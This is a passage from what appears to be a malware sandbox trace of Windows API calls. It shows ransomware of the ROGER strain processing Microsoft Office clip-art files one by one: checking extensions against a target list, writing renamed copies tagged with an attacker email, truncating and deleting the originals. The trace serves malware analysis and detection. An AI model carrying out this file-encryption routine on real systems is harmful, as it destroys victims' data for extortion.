Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.966] lstrlenW (lpString=".1cd") returned 4 [0060.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.967] lstrlenW (lpString=".jpg") returned 4 [0060.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.967] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0060.967] lstrlenW (lpString="BD05119_.WMF") returned 12 [0060.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.967] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=17236) returned 1 [0060.967] CloseHandle (hObject=0x34c) returned 1 [0060.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0060.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.968] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.968] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0060.968] GetLastError () returned 0x0 [0060.968] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x4354, lpOverlapped=0x0) returned 1 [0060.970] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0060.972] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.972] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.972] SetEndOfFile (hFile=0x3a4) returned 1 [0060.972] CloseHandle (hObject=0x3a4) returned 1 [0060.973] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.973] SetEndOfFile (hFile=0x34c) returned 1 [0060.973] CloseHandle (hObject=0x34c) returned 1 [0060.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0060.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.974] lstrlenW (lpString=".doc") returned 4 [0060.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.974] lstrlenW (lpString=".docx") returned 5 [0060.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.974] lstrlenW (lpString=".pdf") returned 4 [0060.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.974] lstrlenW (lpString=".xls") returned 4 [0060.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.974] lstrlenW (lpString=".xlsx") returned 5 [0060.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.974] lstrlenW (lpString=".ppt") returned 4 [0060.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.974] lstrlenW (lpString=".zip") returned 4 [0060.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.974] lstrlenW (lpString=".rar") returned 4 [0060.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.974] lstrlenW (lpString=".bz2") returned 4 [0060.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString=".7z") returned 3 [0060.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.975] lstrlenW (lpString=".dbf") returned 4 [0060.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.975] lstrlenW (lpString=".1cd") returned 4 [0060.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.975] lstrlenW (lpString=".jpg") returned 4 [0060.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.975] lstrlenW (lpString=".doc") returned 4 [0060.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString=".docx") returned 5 [0060.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.975] lstrlenW (lpString=".pdf") returned 4 [0060.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString=".xls") returned 4 [0060.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.975] lstrlenW (lpString=".xlsx") returned 5 [0060.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.975] lstrlenW (lpString=".ppt") returned 4 [0060.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.975] lstrlenW (lpString=".zip") returned 4 [0060.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.975] lstrlenW (lpString=".rar") returned 4 [0060.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString=".bz2") returned 4 [0060.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.975] lstrlenW (lpString=".7z") returned 3 [0060.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.976] lstrlenW (lpString=".dbf") returned 4 [0060.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.976] lstrlenW (lpString=".1cd") returned 4 [0060.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0060.976] lstrlenW (lpString=".jpg") returned 4 [0060.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.976] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0060.976] lstrlenW (lpString="BD06102_.WMF") returned 12 [0060.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.976] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=16112) returned 1 [0060.976] CloseHandle (hObject=0x34c) returned 1 [0060.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0060.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.977] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.977] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0060.977] GetLastError () returned 0x0 [0060.977] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0060.979] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0060.980] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.980] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.980] SetEndOfFile (hFile=0x3a4) returned 1 [0060.980] CloseHandle (hObject=0x3a4) returned 1 [0060.981] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.981] SetEndOfFile (hFile=0x34c) returned 1 [0060.982] CloseHandle (hObject=0x34c) returned 1 [0060.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0060.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.982] lstrlenW (lpString=".doc") returned 4 [0060.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.982] lstrlenW (lpString=".docx") returned 5 [0060.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.982] lstrlenW (lpString=".pdf") returned 4 [0060.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.982] lstrlenW (lpString=".xls") returned 4 [0060.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.982] lstrlenW (lpString=".xlsx") returned 5 [0060.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.982] lstrlenW (lpString=".ppt") returned 4 [0060.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.982] lstrlenW (lpString=".zip") returned 4 [0060.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.982] lstrlenW (lpString=".rar") returned 4 [0060.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.982] lstrlenW (lpString=".bz2") returned 4 [0060.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString=".7z") returned 3 [0060.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.983] lstrlenW (lpString=".dbf") returned 4 [0060.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.983] lstrlenW (lpString=".1cd") returned 4 [0060.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.983] lstrlenW (lpString=".jpg") returned 4 [0060.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.983] lstrlenW (lpString=".doc") returned 4 [0060.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString=".docx") returned 5 [0060.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.983] lstrlenW (lpString=".pdf") returned 4 [0060.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString=".xls") returned 4 [0060.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.983] lstrlenW (lpString=".xlsx") returned 5 [0060.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.983] lstrlenW (lpString=".ppt") returned 4 [0060.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.983] lstrlenW (lpString=".zip") returned 4 [0060.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.983] lstrlenW (lpString=".rar") returned 4 [0060.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString=".bz2") returned 4 [0060.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.983] lstrlenW (lpString=".7z") returned 3 [0060.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.984] lstrlenW (lpString=".dbf") returned 4 [0060.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.984] lstrlenW (lpString=".1cd") returned 4 [0060.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0060.984] lstrlenW (lpString=".jpg") returned 4 [0060.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.984] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0060.984] lstrlenW (lpString="BD06200_.WMF") returned 12 [0060.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.985] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=16676) returned 1 [0060.985] CloseHandle (hObject=0x34c) returned 1 [0060.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0060.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.985] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.985] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0060.986] GetLastError () returned 0x0 [0060.986] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x4124, lpOverlapped=0x0) returned 1 [0060.987] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0060.988] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.988] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.989] SetEndOfFile (hFile=0x3a4) returned 1 [0060.989] CloseHandle (hObject=0x3a4) returned 1 [0060.989] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.989] SetEndOfFile (hFile=0x34c) returned 1 [0060.990] CloseHandle (hObject=0x34c) returned 1 [0060.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0060.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.990] lstrlenW (lpString=".doc") returned 4 [0060.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.990] lstrlenW (lpString=".docx") returned 5 [0060.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.990] lstrlenW (lpString=".pdf") returned 4 [0060.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.990] lstrlenW (lpString=".xls") returned 4 [0060.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.990] lstrlenW (lpString=".xlsx") returned 5 [0060.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.990] lstrlenW (lpString=".ppt") returned 4 [0060.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.991] lstrlenW (lpString=".zip") returned 4 [0060.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.991] lstrlenW (lpString=".rar") returned 4 [0060.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString=".bz2") returned 4 [0060.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString=".7z") returned 3 [0060.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.991] lstrlenW (lpString=".dbf") returned 4 [0060.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.991] lstrlenW (lpString=".1cd") returned 4 [0060.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.991] lstrlenW (lpString=".jpg") returned 4 [0060.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.991] lstrlenW (lpString=".doc") returned 4 [0060.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString=".docx") returned 5 [0060.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.991] lstrlenW (lpString=".pdf") returned 4 [0060.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString=".xls") returned 4 [0060.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.991] lstrlenW (lpString=".xlsx") returned 5 [0060.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.991] lstrlenW (lpString=".ppt") returned 4 [0060.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.991] lstrlenW (lpString=".zip") returned 4 [0060.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.991] lstrlenW (lpString=".rar") returned 4 [0060.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.992] lstrlenW (lpString=".bz2") returned 4 [0060.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.992] lstrlenW (lpString=".7z") returned 3 [0060.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.992] lstrlenW (lpString=".dbf") returned 4 [0060.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.992] lstrlenW (lpString=".1cd") returned 4 [0060.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0060.992] lstrlenW (lpString=".jpg") returned 4 [0060.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.992] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0060.992] lstrlenW (lpString="BD07761_.WMF") returned 12 [0060.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), 